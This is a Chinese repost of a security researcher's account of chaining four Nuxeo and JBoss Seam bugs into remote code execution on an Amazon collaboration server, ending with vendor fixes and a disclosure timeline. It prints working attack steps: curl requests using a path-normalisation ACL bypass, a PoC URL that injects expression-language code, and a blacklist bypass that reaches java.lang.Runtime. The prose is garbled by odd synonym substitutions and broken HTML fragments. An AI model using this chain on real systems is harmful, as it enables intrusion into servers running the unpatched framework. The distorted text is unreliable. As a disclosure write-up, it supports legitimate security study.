看Orange Tsai如何利用四个Bug实现亚马逊协同平台的RCE漏洞

台湾白帽Orange Tsai(蔡政达)受邀前往本届Black Hat USA和 DEFCON 26颁发议题演讲,在《Breaking Parser Logic! Take Your Path Normalization Off and Pop 0days Out》的演讲中,他分享了若何基于“不同等性”安然问题,综合使用4个功能性Bug,实现对亚马逊(Amazon)协同平台系统的远程代码履行。

以下是他的具体技巧分享:

背景阐明

在以前两年光阴里,我重点在钻研一些“不同等(inconsistency)”的安然问题,这是什么问题呢?这就有点类似我去年在 Black Hat 的演讲以及《GitHub SSRF to RCE》的钻研一样,我先经由过程发明URL解析器和URL获取器之间的不同等问题,形成了整体SSRF绕过,终极实现更严重的破绽使用。

别的,这篇由@0x09AL写的文章《Bypassing Web-Application Firewalls by abusing SSL/TLS》,也具体阐述了 “不同等“ 安然问题导致的紧张破绽,值得拜读。

有了之前的根基,今年我着重钻研了路径解析器和规范化之间的不同等安然问题。理论上来说,由于不合工具实体具备不合的标准和实现需求,以是很难开拓出一款设计严格而周全的解析器。但当解析器呈现安然Bug时,为了不影响营业逻辑,研发上平日的做法是采纳某种替代措施或是增添某种过滤器,而不是直接给Bug打补丁,着末的影响是治标不治本。以是,这样一来,假如过滤器和调用措施之间存在任何不同等问题,就可能轻松绕过系统本身设置的安然机制。

当我在涉猎一些破绽阐发申报时,我留意到了一种叫”URL路径参数“( URL Path Parameter)的功能特点。一些钻研职员已经指出,假如编程呈现差错,这种特点可能会导致安然问题。经由过程点点滴滴的关联阐发,我发明这种特点可以完美地利用在多层体系布局中,而且默认环境下,不必编码掉足,就存在进击面,可导致破绽使用。假如你在反向代理中应用了Java后端办事,那么就可能存在这种破绽!

起初在2015年时,我首先是在一次红队测试中发清楚明了这种进击面,之后,我感觉这个问题威力超强,也想看看安然圈内的知悉面,于是,我就在WCTF 2016比赛的自出题中设计了一道相关题目。

WCTF是由Belluminar和360合营举办的比赛,这与其他CTF比赛中的解题模式(Jeopardy)和攻防模式(Attack-Defense)不一样,它约请了举世各国的前10名团队,每个团队都必要设计两道寻衅题目,以是统共有20个寻衅题目。你解题数量越多,你获得的点数就越多。然而,着末却没人能解出我出的这道题目。以是,那时我觉得这种技巧可能还并不为大年夜多半人知晓。别的,我也对DirBuster、wFuzz、DirB 和 DirSearch这些扫描器作了测试,但只有DirSearch在2017年5月加入了这种扫描规则。

是以,今年我盘算分享这个议题。但为了说服Black Hat 的检察委员会,我必要有力的用例支撑。以是,我又重拾挖洞,然而在测试中我发明,这种进击面不仅可以造成敏感信息泄露,还能绕过造访节制列表(像我发明的这个优步OneLogin登录绕过破绽),在某些破绽众测项目中还能导致远程代码履行(RCE)。在这篇文章中,我就来先容,使用这种 “不同等” 进击面问题,综合4个功能Bug,实现对亚马逊协同平台的远程代码履行(RCE)。

多层架构的不同等性,可以形象的用以下图片来表示:

媒介

首先,谢谢亚马逊(Amazon)开放的破绽表露策略,与亚马逊安然团队Nuxeo的相助异常顺畅,仅从破绽上报进程来看,就可以看出亚马逊快速的破绽相应速率,以及他们积极的应对步伐。

开始我们要从网站 corp.amazon.com 提及,这貌似是亚马逊的一个内部协同系统,从网站的底部版权信息来看,该系统由开源项目Nuxeo支配构建。而Nuxeo又是一个宏大年夜的Java项目,且刚开始我只是想前进一下我的Java审计技巧。以是故事就从这里提及吧!

四个破绽(Bug)

对我来说,当我拿到Java源码时,我首先会看看 pom.xml 设置设置设备摆设摆设文件,然后再去查找是否存在过时的引用包。在Java生态系统中,很多破绽都像 OWASP Top 10 – A9 描述的组件破绽那样,如涉及Struts2,、FastJSON、XStream等反序列化组件时,就可能存在破绽

pom.xml主要描述了项目的maven坐标,依附关系,开拓者必要遵照的规则,缺陷治理系统,组织和licenses,以及其他所有的项目相关身分,是项目级其余设置设置设备摆设摆设文件。

这里的Nuxeo项目中,初看貌似此中的包都是最新的,但我却发清楚明了一个”老同伙“ – Seam框架。Seam是基于 JBoss 的web框架,附属红帽Linux系统的分支,在早前几年异常盛行,但现在仍旧存在大年夜量基于Seam的web利用。

我曾在2016年对Seam进行过审计,也发清楚明了此中一些风险隐患,但终极在这里,貌似也无法直接照搬实现。我们先继承往下阐发。

BUG 01:路径规范化差错导致的造访节制列表(ACL)绕过

当从WEB-INF/web.xml文件中查看造访策略时,我发明Nuxeo项目应用了一个通用的验证过滤器NuxeoAuthenticationFilter,并把/*类型目录映射到了这个过滤器上。这种验证机制下,大年夜部份网页都必要进行验证,但也存在一个包孕login.jsp这样页面的造访进口白名单,所有这些功能都由一个名为bypassAuth的措施来详细实现:

protected boolean bypassAuth(HttpServletRequest httpRequest) {

// init unAuthenticatedURLPrefix

try {

unAuthenticatedURLPrefixLock.readLock().lock();

String requestPage = getRequestedPage(httpRequest);

for (String prefix : unAuthenticatedURLPrefix) {

[1] [2] [3] [4]下一页

if (requestPage.startsWith(prefix)) {

return true;

}

}

} finally {

unAuthenticatedURLPrefixLock.readLock().unlock();

}

// …

return false;

}

从上述代码可知,bypassAuth措施会检索当前哀求页面与unAuthenticatedURLPrefix作一个对照,然则,bypassAuth措施是若何去检索当前哀求页面的呢?为此,Nuxeo写了一个getRequestedPage措施来从HttpServletRequest.RequestURI中提掏出当前的哀求页面,这样一来,第一个问题就出在这里了!

protected static String getRequestedPage(HttpServletRequest httpRequest) {

String requestURI = httpRequest.getRequestURI();

String context = httpRequest.getContextPath() + ‘/’;

String requestedPage = requestURI.substring(context.length());

int i = requestedPage.indexOf(‘;’);

return i == -1 ? requestedPage : requestedPage.substring(0, i);

}

为了去处置惩罚URL路径参数,Nuxeo用分号对所有的尾部进行了截断,然则,URL路径参数的行径是种种各样的,每个web办事器都有自己的实现要领,Nuxeo的这种处置惩罚要领在WildFly、JBoss 和 WebLogic中可能会很安然,但在这里的Tomcat下可能就有问题了。也便是,getRequestedPage措施和 Servlet 容器之间的差异导致的安然问题!

因为它的截断机制,我们就能捏造一个与造访节制列表(ACL)白名单匹配,但又是Servlet 容器中未经授权的哀求。这里,我们选择login.jsp作为前缀哀求文件,造访节制列表(ACL)绕过的哀求如下:

$ curl -I https://collaborate-corp.amazon.com/nuxeo/[unauthorized_area]

HTTP/1.1 302 Found

Location: login.jsp

$ curl -I https://collaborate-corp.amazon.com/nuxeo/login.jsp;/..;/[unauthorized_area]

HTTP/1.1 500 Internal Server Error

从上可以看到,我们设计了绕过重定向进行身份验证的哀求,但多半相应页面返回的是一个500的差错。由于 servlet 逻辑无法获取到一个有效的用户框架信息,以是它抛出了一个 Java 的NullPointerException非常。只管呈现这样的差错,我们照样一样可以从中找到冲破口。(PS:除了这种措施之外,我还发清楚明了别的一种快捷的入侵要领,留作下次再分享)

BUG 02:代码重用功能导致的部分表达式调用(EL invocation)

像我前述的,在Seam框架中着实存在很多风险隐患,是以,对付我来说,下一步便是只管即便考试测验使用上面阐发的第一个BUG来实现对 Seam 中的 servlet 进行未授权造访测试。接下来,我会具体解释此中涉及的不合利用功能。

为了对浏览器的重定向跳转进行节制,Seam调用了一系列的HTTP参数,而且这些参数都存在隐患,如actionOutcome便是此中之一。在2013年,钻研职员@meder就在此中发清楚明了一个远程代码履行破绽,你可以卖力读读他的这篇文章-《 CVE-2010-1871: JBoss Seam Framework remote code execution》,但在这里,我们要来评论争论的是另一个参数 – actionMethod。

actionMethod 是一个特殊的参数,它会从查询字符串中调用特定的 JBoss 表达式,这种要领貌似不安然,但调用也是有一些条件前提的。详细的实现历程可在callAction中查看到:

https://github.com/seam2/jboss-seam/blob/f3077fee9d04b2b3545628cd9e6b58c859feb988/jboss-seam/src/main/java/org/jboss/seam/navigation/Pages.java#L697

假如要调用表达式(EL),必须要满意以下条件前提:

1 参数actionMethod的值必须是配对的,也便是像这样的 FILENAME:EL_CODE

2 FILENAME部份的值必须是在Nuxeo中context-root下的真实文件

3 FILENAME对应的真实文件中必须包孕”#{EL_CODE}”(包括两个双引号)

这种FILENAME对应的真实文件就像以下这个 login.xhtml 文件一样:

div class=”entry”>

div class=”label”>

h:outputLabel id=”UsernameLabel” for=”username”>Username:h:outputLabel>

div>

div class=”input”>

s:decorate id=”usernameDecorate”>

h:inputText id=”username” value=”#{user.username}” required=”true”>h:inputText>

s:decorate>

div>

div>

这样,你就可以经由过程下述URL链接来调用表达式 user.username :

http://host/whatever.xhtml?actionMethod=/foo.xhtml:user.username

BUG 03:二次评估判断导致的表达式注入(EL injection)

上一个BUG中的功能差错看起来对拍照符,然则却不能节制context-root下的随意率性文件,这样也就无法在远程目标办事器中调用随意率性表达式(EL)。然而这里却存在一个分外厉害的功能BUG….:

严重点说便是,假如上一个BUG能返回一个字符串,并且这个字符串看起来像一个表达式,那么 Seam 框架将会被再次调用!

上一页[1] [2] [3] [4]下一页

以下是一些具体的调用栈信息:

callAction(Pages.java)

handleOutcome(Pages.java)

handleNavigation(SeamNavigationHandler.java)

interpolateAndRedirect(FacesManager.java)

interpolate(Interpolator.java)

interpolateExpressions(Interpolator.java)

createValueExpression(Expressions.java)

使用这个酷炫的功能,假如我们能节制返回值,也就能间接履行随意率性表达式(EL)了!这就有点像二进制破绽使用中的返回导向编程技巧(Return-Oriented Programming, ROP),以是,剩下来的便是要找到一个具备这种字符串返回功能的得当组件来实现BUG使用了。

在这个用例中,我们就选择widgets/suggest_add_new_directory_entry_iframe.xhtml中的组件:

set var=”directoryNameForPopup”

value=”#{request.getParameter(‘directoryNameForPopup’)}”

cache=”true”>

set var=”directoryNameForPopup”

value=”#{nxu:test(empty directoryNameForPopup, select2DirectoryActions.directoryName, directoryNameForPopup)}”

cache=”true”>

if test=”#{not empty directoryNameForPopup}”>

为什么选择这个呢?由于此中的request.getParameter会返回一个我们可以节制的,来自查询字符串中的字符串!虽然全部标记是为了分配一个变量,但我们可对其语法语义进行滥用!

以是,基于上述这段代码,我们可以把第二阶段 Payload 放到变量 directoryNameForPopup 中,然后再使用第一个BUG,综合起来就能实现无需验证的随意率性表达式(EL)履行了,以下是PoC:

http://host/nuxeo/login.jsp;/..;/create_file.xhtml

?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:request.getParameter(‘directoryNameForPopup’)

&directoryNameForPopup=/?#{HERE_IS_THE_EL}

难道就只能这样了吗?当然不!虽然我们可以履行随意率性表达式,但却无法成功反弹节制shell。接着往下看!

BUG 04:绕过表达式黑名单导致的远程代码履行破绽(RCE)

Seam 官方也清楚此中的表达式说话(EL)存在的问题,以是,自Seam 2.2.2.Final版本之后,就在此中加入了一个新的表达式黑名单,用它来阻拦一些不安然的调用!而且不幸的是, Nuxeo开源项目内置应用了 Seam 的2.3.1.Final 最新版本,以是,我们必须要找到一种能成功绕过表达式黑名单的有效措施。而该表达式黑名单可以在 resources/org/jboss/seam/blacklist.properties 中找到:

.getClass(

.class.

.addRole(

.getPassword(

.removeRole(

颠末一番研究,我发明这种黑名单机制仅只是简单的字符串匹配规则,众所周知,黑名单机制平日都不算是一种好策略。初次看到这个黑名单,我就想到了对Struts2 S2-020的绕过措施,它和这里的黑名单绕过有着异曲同工之妙,它们都应用了类似数组的操作符来绕过黑名单机制,只需把这里的:

“”.getClass().forName(“java.lang.Runtime”)

改动为:

“”[“class”].forName(“java.lang.Runtime”)

就OK了,是不是异常简单!是的!好了!

以是,现在着末的剩下的工作便是使用 JBoss 表达式说话(EL)编写 shellcode 了,采纳Java 反射 API来获取 java.lang.Runtime 工具,并列出此中所有的涉及措施。getRuntime()措施会返回一个 Runtime 实例, exec(String)措施则会履行我们的预置敕令!

综合以上Bug01、Bug02、Bug03和Bug04,就能实现RCE破绽的履行。以下便是大年夜致的实现步骤:

1、用路径规范化差错造成造访节制列表(ACL)绕过;

2、绕过白名单机制实现未授权的 Seam servlet 造访;

3、应用Seam功能的actionMethod参数去调用文件中的相宜组件suggest_add_new_directory_entry_iframe.xhtml;

4、在HTTP参数directoryNameForPopup中筹备第二阶段Payload;

5、应用类似数组的操作符来绕过表达式说话(EL)黑名单;

6、用 Java 反射型 API 来编写shellcode;

7、静待反弹节制 shell,成为黑客大年夜佬。

以下便是全部破绽使用exploit:

履行终极的Perl测试脚本,可以成功获取到反弹节制shell:

修复步伐

JBoss

由于Seam框架存在的安然隐患最为直接,以是我曾在2016年9月曾把这些功能性Bug,以邮件要领传递给了它的官方利用商JBoss (security@jboss.org),但获得的却是这样的回覆:

异常谢谢你的破绽传递。

今朝,Seam只包孕在我们 JBOSS 企业利用平台(EAP)的 5.0版本中,并不包孕在此中的6和7版本中。而且,JBOSS 企业利用平台(EAP)即将在2016年11月竣事掩护更新,你用来测试的上游版本是3年前就宣布的了。

在我们对JBOSS 企业利用平台(EAP)5.0版本的掩护更新中,我们只接管一些高危或关键的破绽问题。你强调的RCE破绽实现,条件必要在进击中先上传一个文件,以是某种程度上来说,这就会致使破绽影响降级。

在Seam项目生命周期的这个阶段,我们不会劳神去修复这类安然问题。异常谢谢,也盼望你往后继承向我们传递安然问题。

以是,因为项目的终止问题,这些问题功能Bug从未获得过官方的补丁修复,然则,现实收集天下中却还存在着大年夜量基于Seam的利用。以是,假如你用了Seam,建议你尽快采纳Nuxeo给出的规划来缓解这些问题。

Amazon

颠末快速相应查询造访,Amazon安然团队第一光阴隔离了存在破绽的协同平台办事器,和我及时评论争论了相关缓解步伐,并见告了我他们详细的修复步伐。

上一页[1] [2] [3] [4]下一页

Nuxeo

经过Amazon的传递,Nuxeo也快速的释出了8.10的一个补丁,该补丁经由过程覆盖了callAction() 措施来修复了此中的功能性Bug。详细请参考这里的补丁文件。

破绽上报进程

2018年3月10日01:13经由过程邮箱aws-security@amazon.com向Amazon安然团队传递破绽

2018年3月10日01:38Amazon回应正在展开阐发查询造访

2018年3月10日03:12Amazon哀求我是否能参加他们安然团队的电话会议

2018年3月10日05:30与Amazon召开电话会议,对他们的破绽修复步伐进行了懂得

2018年3月10日16:05扣问Amazon是否我可以在Black Hat大年夜会上公开表露这个破绽

2018年3月15日04:58Nuxeo宣布了8.10的新版本,修复了此中的RCE破绽

2018年3月15日23:00与Amazon召开电话会议,懂得当前修复环境并评论争论破绽表露细节

2018年4月 5日05:40得到Amazon赏金

上一页[1] [2] [3] [4]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包